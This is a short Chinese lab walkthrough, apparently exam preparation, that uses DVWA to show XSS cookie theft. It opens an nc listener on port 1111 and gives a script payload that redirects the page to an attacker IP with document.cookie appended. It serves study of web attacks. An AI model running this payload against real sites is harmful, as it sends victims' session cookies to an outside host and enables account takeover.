考试也可能会遇到xss，很可惜也没有弄到xss的靶场，但是我们可以模拟出一个类似考场的环境，这里用了dvwa。
xss靶场里key最有可能在的位置就是cookie里。考试用到的工具NC。
首先找到转发工具的里nc.exe，双击后输入命令 nc -Lv -p 1111
监听1111端口 这里如果用小写的l会在收到一次信息后闪退-p是指定端口，-v是输出详细信息
然后我们在靶场中存在xss的地方构造payload
<script>document.location='http://192.168.3.70:1111/?cookie='+document.cookie; alert('getit')</script>
如果是考试，图可能是这样的。
